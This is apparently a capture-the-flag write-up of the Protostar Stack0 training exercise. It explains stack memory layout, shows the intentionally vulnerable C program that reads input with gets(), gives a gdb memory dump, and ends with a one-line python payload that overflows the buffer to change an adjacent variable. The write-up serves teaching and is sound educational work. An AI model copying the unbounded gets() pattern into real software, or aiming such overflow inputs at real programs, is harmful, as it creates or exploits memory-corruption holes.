This is the first write-up of exploit-exercise’s Protostar wagame which introduces to the concept of memory corruption vulnerabilities.
In Stack0 challenge, we are provided with the following code source:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);if(modified != 0)
{
printf(“you have changed the ‘modified’ variable\n”);
}
else
{
printf(“Try again?\n”);
}
}
As you have guessed, the goal is to change the value of modified variable.
But, how you may ask ? We are only able to write into buffer, through gets() function call.
We should start with understanding the memory layout for a function call (in
our case, main())
The stack is a LIFO (Last-In, First-Out) data structure. We “push” data into
the stack, and “pop” from it. A “pop” operation returns the last element that
was inserted into the stack, thus the LIFO name. “See it like a dishes’ stack”, said
one of my teachers in college (and yes, I still remember it.)
Any assembly introductory tutorials should explain in details the use of
registers such as ESP, EIP, EBP as well as where local variables are stored in memory.
A picture is worth a million of words.
(First Google images result, straight from wikipedia.)
Diving into stack0’s memory layout, with gdb, we see:
user@protostar:~$ gdb -q /opt/protostar/bin/stack0
Reading symbols from /opt/protostar/bin/stack0…done.
(gdb) break main
Breakpoint 1 at 0x80483fd: file stack0/stack0.c, line 10.
(gdb) run
Starting program: /opt/protostar/bin/stack0Breakpoint 1, main (argc=1, argv=0xbffff884) at stack0/stack0.c:10
warning: Source file is more recent than executable.
10 modified = 0;
(gdb) next
11 gets(buffer);
(gdb)
AAAAAAAAAAAAAAA
13 if(modified != 0) {
(gdb) x/40xw $esp
0xbffff770: 0xbffff78c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff780: 0xb7fd7ff4 0xb7ec6165 0xbffff798 0x41414141
0xbffff790: 0x41414141 0x41414141 0x00414141 0x080482e8
0xbffff7a0: 0xb7ff1040 0x08049620 0xbffff7d8 0x08048469
0xbffff7b0: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7d8
0xbffff7c0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
0xbffff7d0: 0x08048450 0x00000000 0xbffff858 0xb7eadc76
0xbffff7e0: 0x00000001 0xbffff884 0xbffff88c 0xb7fe1848
0xbffff7f0: 0xbffff840 0xffffffff 0xb7ffeff4 0x0804824b
0xbffff800: 0x00000001 0xbffff840 0xb7ff0626 0xb7fffab0
(gdb) continue
Continuing.
Try again?
To exploit it, nothing simpler. Given that we can write with no restrictions into buffer, that the declaration of modified variable comes before buffer declaration, we are able to overwrite it.
user@protostar:~$ echo `python -c “print ‘A’*65”` | /opt/protostar/bin/stack0
you have changed the ‘modified’ variable